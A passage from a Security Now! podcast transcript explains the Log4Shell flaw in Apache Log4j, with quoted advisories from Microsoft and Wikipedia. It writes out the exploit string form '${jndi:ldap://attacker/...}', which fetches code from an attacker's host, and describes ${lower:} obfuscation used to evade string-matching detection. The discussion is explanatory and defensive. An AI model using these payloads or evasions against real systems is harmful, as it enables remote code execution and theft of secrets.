Okay. The first instance of this coming to light was when the massive Chinese tech firm Alibaba privately reported the vulnerability to the Apache Foundation, which are the ones who maintain the Log4j module. Naturally, logging is an important feature of Apache. In fact, as I mentioned I think maybe before the show or maybe at the top of the show, Apache has an entire logging subdomain at https://logging.apache.org. And sure enough, right at the top on the left, the first thing that it shows you is Log4j as one of their logging options.

The publication The Record reported that the flaw was originally discovered during a bug bounty engagement against Minecraft servers. So someone was enterprising. They were looking for some way to exploit Minecraft servers. And of course Minecraft is Java. So this is what they've come up. This was the first obvious signs of the flaw's exploitation at that point. Adam Meyers, CrowdStrike's Senior VP of Intelligence, and our friend @MalwareTechBlog's Marcus Hutchins independently observed that frisky Minecraft users were using it to execute programs on the computers of other users, simply by pasting a short message into a chat box. Yes, it's truly that easy to exploit, which as much as anything explains its CVSS rating of 10.

Apple's cloud services were compromised - not could be, were - simply by changing the name of an iPhone, Leo.

Leo: Wow.

Steve: In the show notes here is a screen shot made by someone who did this. He changed his name to a string, which I'll be talking about in a minute, then looked at the log of some DNS servers that he induced Apple's iCloud infrastructure to query as a consequence of just setting the name on his iPhone to a string that would perform the exploit. The iCloud backend was exploited, produced DNS queries, which were captured. The second screen shot here on the next page shows at dnslog.cn, obviously a Chinese DNS server, incoming queries from two IPs, 17.123.16.44 and 17.140.110.15. And then ARIN's registration record for one of the IPs showing it registered to Apple Inc. at 20400 Stevens Creek Blvd., City Center Bldg. 3, Cupertino, blah blah blah.

Leo: So this proves that Apple IP addresses, presumably their servers, logged into this Chinese logging site on the behest of the hacker.

Steve: Correct.

Leo: Wow.

Steve: Correct.

Leo: Yikes. That's pretty good proof there, right there.

Steve: And the same was possible by changing the name of Tesla automobiles.

Leo: Yikes. Holy cow. Now, this was benign because it just said hello. But it could execute remote code?

Steve: Yes. As we will see here in a second.

Leo: Jesus.

Steve: So these were safe tests being performed by people who did not want to exploit Apple, but absolutely 100% vulnerable to remote code execution. I mean, it is this bad. It's unbelievable. Okay. So over on the Apache page for describing their logging services at logging.apache.org/log4j/2.x. Oh, and by the way, every time I say Log4j I really mean Log4j 2 because the 2 is the major version number. But it's been around forever, so it's sort of assumed. Anyway, they talk about there what has happened. They said, in a little bit of an egg-on-their-face mode, the Log4j team has been made aware - I bet - of a security vulnerability, CVE-2021-44228 that has been addressed in Log4j 2.15.0. In other words, that's the fixed one.

They said: "Log4j's JNDI support, that's the Java Naming and Directory Interface, has not restricted what names could be resolved. Some protocols are unsafe or can allow remote code execution. Log4j now limits the protocols by default to only Java, LDAP, and LDAPS, and limits the LDAP protocols to only accessing Java primitive objects by default served on the local host." In other words, the lack of those remediations which 2.15 just received is the crux of the problem. But I'll get into it in more detail in a second.

They said: "One vector that allowed exposure to this vulnerability was Log4j's allowance of Lookups to appear in log messages." Again. "One vector that allowed exposure to this vulnerability was Log4j's allowance of Lookups to appear in log messages. As of Log4j 2.15.0, this feature is now disabled by default." But it wasn't before. "While an option has been provided to enable Lookups in this fashion, users are strongly discouraged from enabling it. For those who cannot upgrade," blah blah blah. They talk about some remediation stuff. Okay. For what it's worth, some stop-gap remediation measures do exist. Just upgrade. Update. Because bad guys are going to find ways around them.

Microsoft, who owns Minecraft, posted a nice and complete summary of the situation over the past weekend. Microsoft said: "Microsoft have been tracking threats taking advantage of CVE-2021-44228, a remote code execution vulnerability in Apache Log4j 2 referred to as 'Log4Shell.' The vulnerability allows unauthenticated remote code execution and is triggered when a specially crafted string provided by the attacker through a variety of different input vectors is parsed and processed by the Log4j 2 vulnerable component."

And I'll stop here just to remind people, up until this point what I just read could apply - what Microsoft wrote and I read - could apply to instances where there has been a mistake made; right? Where there's, like, a parsing error, a buffer overflow, a this or a that or a something or other, right, that was wrong, that was broken, that was not on purpose. That's not the case here, which is what is so shocking. Like everything that is being done was by design. It was on purpose. It's not a bug, it's a feature. Although it's one that you could just see Apache has now quickly disabled because whoops. "For more information," they wrote, "and mitigation information about the vulnerability, please read the Microsoft Security Response Center blog."

They said: "The bulk of attacks that Microsoft has observed at this time have been related to mass scanning by attackers attempting to thumbprint vulnerable systems" - right, they're building their inventory - "as well as scanning by security companies and researchers" - right, who are curious. "An example pattern of attack would appear in a web request log with strings like the following." So now they have ${jndi:ldap://, so that's a scheme, right, JNDI is this Java name resolution, LDAP is an Internet protocol scheme, //, and then the attacker IP /a, and then close the curly brace.

"An attacker performs an HTTP request against a target system, which generates a log using Log4j 2 that leverages JNDI to perform a request to the attacker-controlled site." So that string I read - dollar sign, open curly, the stuff in the middle, then closed curly - that's what you put into an HTTP header, into a chat box, into a form, into anything that that server will log. Because it goes through this Log4j, Log4j in its previous default

configuration would see the dollar sign, open curly brace, jndi colon, and go, ah, here's something for me to expand, to process on the fly. It will then make an LDAP query to the domain name or IP address provided and download Java code and run it. I mean, just, like, wow.

Microsoft said: "The vulnerability then causes the exploited process to reach out to the site and execute the payload. In many observed attacks, the attacker-owned parameter is a DNS logging system intended to log a request to the site to fingerprint the vulnerable systems." That's what the security researchers are doing. They're not obviously loading code. They'd get in trouble if they did that. But they are causing the attack sites, since it's ldap:// and the domain name, if they put a domain name in, the site which needs to reach out to fulfill the LDAP query gets the IP of the domain name.

So by monitoring incoming DNS requests, they're able to collect all the sites that are vulnerable because they want to execute that payload. But they need the IP address first. So, and you can of course by not replying to the DNS query, you can prevent that from going any further while at the same time fingerprinting the fact that, if given the chance, that site would have done so.

Microsoft said: "The specially crafted string that enables execution of this vulnerability can be identified through several components. The string contains 'jndi,' which refers to the Java Naming and Directory Interface. Following this, the protocol, such as 'ldap,' 'ldaps,' 'rmi,' 'dns,' 'iiop,' or 'http,' precedes the attacker domain. As security teams work to detect the exploitation of the vulnerability, attackers not surprisingly have added obfuscation to these requests to evade" - and I'll put in my own comment simple-minded detection - "to evade detections based on request patterns."

Microsoft wrote: "We've seen things like running a lower or upper Java command within the exploitation string." So, for example, {jndi:, and instead of saying just ldap, they'll do ${lower:l}${lower:d, right, in order to like break up the simple text pattern so that simple string matching will not be able to see ldap there. And they said: "...and even more complicated obfuscation attempts," and then there's another example of, like, crazy stuff that are all trying to bypass string-matching detections.

"At the time of the publication," they said, "the vast majority of observed activity has been scanning, but exploitation and post-exploitation activities have also been observed." And that's absolutely the case. I didn't go into it because there's just, it's like, just there's too much. I wouldn't even know what to talk about. There's just so much happening right now.

They said: "Based on the nature of the vulnerability, once the attacker has full access and control of an application, they can perform a myriad of objectives. Microsoft has observed activities including installing coin mining, Cobalt Strike beacons" - which we talked about a couple weeks ago - "to enable credential theft and lateral movement, and exfiltrating data from compromised systems." It is a free-for-all right now.

On Saturday, December 11th, Cloudflare's CEO Matthew Prince tweeted: "Earliest evidence we've found so far of Log4j exploit is 2021-12-01," and then a time UTC. He says: "That suggests it was in the wild at least nine days before being publicly disclosed. However, we don't see evidence of mass exploitation until after public disclosure." Right? So it was being used selectively until everyone knew about it. Then it was, woohoo, get in there before they patch.

And on Sunday, day before yesterday, Marcus Hutchins tweeted: "Kryptos Logic's Log4j scanner discovered more than 10,000 vulnerable hosts using simple HTTP header probing." He tweeted on the 12th, two days ago.

Wikipedia has some additional information, first telling us a bit more about the underlying Log4j framework. Wikipedia said: "Log4j is an open source logging framework that allows software developers to log various data within their application. This data can also include user input. It is used ubiquitously in Java applications, especially enterprise software. Originally written in 2001, it is now part of Apache Logging Services, a project of the Apache Software Foundation.

"The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime, given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or" wait for it "anywhere on the Internet.

"In the default configuration" - and of course we all know about the tyranny of the default - "when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}." Hear that again. In other words, it's interpreting. "For example," they said, "text would be ${java:version} might be converted to Java version 1.7.0_67. Among the recognized expressions is ${jndi: and then something to look up. By specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data." What could possibly go wrong?

And they give an example using ldap://example.com/file, for example, "will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data such as secret environment variables by placing them in the URL, in which they will be substituted and sent to the attacker's server."

So I'll just note that the worst offending problems, such as this 10.0 nightmare we're facing today, tend to be those that are by design rather than by mistake. The example that comes to mind was the huge amount of heat I took many years ago for noting that Microsoft had clearly, by design, given their original WMF Windows Metafile Format the ability to include native executable code within the file itself. Metafiles are interpreted, and there was an escape code which simply caused the interpreter to jump to code inside the file itself.

At the time this was done, back when Windows 1.0 was being called a "DOS runtime," and nothing was connected to anything else, this was a perfectly reasonable thing to do. And it was kind of cool if some function was needed that the metafile interpreter could not perform. But many years later, when this was rediscovered in the Windows metafile interpreter, no one could imagine that it could have ever been deliberate. But times were much different back then. My point is, it's very clear that this instance of this Log4j mess was not a bug, it was a feature. Badly conceived, certainly. Never intended to happen this way, of course. But it was there.

Anyway, Wikipedia finishes this discussion by explaining: "Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as '${jndi.' But naive searches can be circumvented by obfuscating the request." And they give an example like Microsoft's. "Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed then." And all of those notes and observations in Wikipedia have references to their original sources, for anyone who's interested.

Okay. So Huntress Labs has produced and is offering a free and open source Log4Shell vulnerability testing page. It is at https://log4shell.huntress.com. The open source is posted on GitHub. And I set that up as the shortcut of the week for us. So you can easily get to it anytime by using this episode number, 849: grc.sc/849. The page that comes up will explain.

It says: "This site can help you test whether your applications are vulnerable to Log4Shell. Here's how to use it," they said. "You simply copy and paste the generated JNDI syntax." The code block is down below on the page, and it will be customized. Every single time you go to the page you get a different one. So it's generating a big globally unique ID on the fly. You paste that string they give you into anything - application input boxes, frontend site form fields, logins such as username inputs or passwords; or if you get bit more technical, even User-Agent or X-Forwarded-For or other customizable HTTP headers.

Then check the results page, which they provide a link to, to see if it received any connection, and verify the detected IP address and timestamp to correlate with when you tested any service. In other words, they're offering this benign query service that other security professionals are themselves using to anyone who wants to make a test. And they said, if you see an entry, a connection was made and the application you tested is vulnerable.

And then they said of this: "The following payload should only be used with systems which you have explicit permission to test. If you find any vulnerable applications or libraries, you should exercise responsible disclosure to minimize any potential fallout due to the vulnerability." In other words, hint, hint, anybody can test anybody's system with this. That is, it's not just you testing your own stuff. That's the official use for it. And be advised that your IP as a remote tester of this would probably be logged also. So don't do this cavalierly. You don't want to get yourself in trouble. But it is extremely useful if you want to perform a quick test of your own stuff. These are good guys. They're well known. They're an authentic security firm.

Under technical details they said: "The tool works by generating a random unique identifier which you can use when testing input fields. If an input field or application is vulnerable, it will reach out to this website over LDAP. Our LDAP server will immediately terminate the connection, and log it for a short time. This tool will not actually run any code on your systems." So anyway, again, grc.sc/849 just bounces you to this Huntress Labs free Log4Shell testing page. And I think it looks very useful.

Leo: I just want to show briefly the same thing using a Canary token, which is kind of a cool way to do it. It's from Eclectic Light Company. Let me see if I can...

Steve: Oh, cool.

Leo: Yeah. Oh, shoot, I can't find it now. But I'll find it, and I'll show you when I do. Continue. Continue on.

Steve: Okay. Okay. So now we all know exactly what's going on. A default data logging component that's deeply embedded into pervasively used JAVA-based open source software has been found to contain an incredibly dangerous and readily exploitable feature which allows remotely located attackers to cause the execution of any code they design on a target's system. And because this is deliberately universal cross-platform JAVA code, its opportunity for exploitation is also universal and cross-platform.

Moreover, since various Internet directory lookup queries, such as DNS and LDAP, can be induced remotely in vulnerable servers, this vulnerability and its weak mitigations, such as simple string match filtering, can be relentlessly and remotely probed for weaknesses and workarounds. That is to say, if a bad guy is able to get through, they immediately get the reward of knowing so. So we will doubtless be discussing clever new ways which are being found to access this design flaw in the future, I guess design and configuration flaw in the future.

Leo: This is from Canary's own site. Probably easiest to go there. But you could use a Canary token to test, and they have a walkthrough on there. Which is probably no easier or harder than using the link that you showed, but it's just a way to do it with your Canary token. So that's cool.

Steve: Cool.

Leo: Yeah.

Steve: So we know how this story is going to go, right, though with perhaps significantly more punch this time than in previous stories. The Internet is packed with systems, and enterprises are packed with systems that are not being dynamically and proactively maintained. They will all be found by the bad guys, if they haven't been already. And they will be taken over.

I have one more important GRC shortcut to share, and that's grc.sc/log4shell. This redirects to a very actively maintained GitHub page of alphabetically sorted, presently known, software vulnerability status, both good and bad. Depending upon your and your company's online status and your use of JAVA-based infrastructure, that page may be worth keeping an eye on. Again, grc.sc/log4shell takes you to this GitHub page. You could scroll down a little bit, Leo. You'll find an index of four links, and you want the - I think the fourth one, the software, or, yeah, software, fourth one down, yeah. And so now there's a long, look how tiny the scroll thumb is on your page, it is a super-long page.

Leo: Wow. So much. Oh, my god.

Steve: Yup, I know.

Leo: So much is vulnerable.

Steve: It is just a disaster.

Leo: You know what's sad is all of these people using this are dependent basically on an open source program maintained by volunteers.

Steve: Yup.

Leo: And relying on volunteers to fix it. You know, if you have a commercial enterprise relying on this, maybe help them out a little bit.

Steve: Yup, provide some support.

Leo: Kick in some money or something. These guys are busting their butts for free for your commercial enterprise.

Steve: Yeah, I saw on Sunday you showed that wonderful stacked blocks picture that we showed on our Picture of the Week...

Leo: Yeah, xkcd, yeah.

Steve: ...some time ago where this huge constructed edifice is, like, all hinged on one little piece that's maintained by some guy in his mother's basement in Nebraska and, like, the world depends upon it.

Leo: Yeah.

Steve: And, yeah, unfortunately that's the strange world that we have built for ourselves. That and holding nobody responsible for these earthshaking catastrophes.

Leo: Ah. Well, Steve, I've been waiting for this show since Thursday. I'm glad to get all the insight that you can offer. That's why we love Security Now!. If you love Security Now!, a couple of ways you can participate. Of course Steve has his own site, which is kind of Security Now! Central, GRC.com. Security Now! is there, 16Kb audio, 64Kb audio, really nice transcripts from Elaine Farris. And of course Steve's show notes. They're all there at GRC.com. You can leave him feedback at GRC.com/feedback. That's also where you'll find SpinRite, the world's finest mass storage maintenance and recovery utility, now 6.0, soon to be 6.1. Participate in the development and get a free upgrade if you buy now. GRC.com.

He's also on the Twitters, @SGgrc. And you can leave him a DM there if you have a comment or a Picture of the Week or anything you'd like to add. @SGgrc. We have versions of this show on our website, TWiT.tv/sn, 64Kb audio. We also have video if you like to watch Steve think while he drinks. You can also get the show on YouTube. There's a dedicated YouTube channel for Security Now!. Or subscribe in your favorite podcast application. You'll get it that way automatically, as well. And if you do subscribe in a podcast app, make sure you leave a five-star review. Tell the world about the great national resource represented by Steve Gibson of Security Now!.

We do the show every Tuesday at about 1:30 to 2:00 p.m. Pacific, 5:00 p.m. Eastern, 22:00 UTC. You can watch us do it live at live.twit.tv. Chat with us at irc.twit.tv. Steve, have a great week, and I'll see you next time on Security Now!.

Steve: Will do. We'll be back next week for the last show of the year. Yay. I mean, not yay. I mean, not.

Leo: Well, this year could be over. That'd be okay with me. And our best-of is coming up, too, this month. So that'll be fun. Thanks, Steve.

Steve: Okay, buddy. Bye.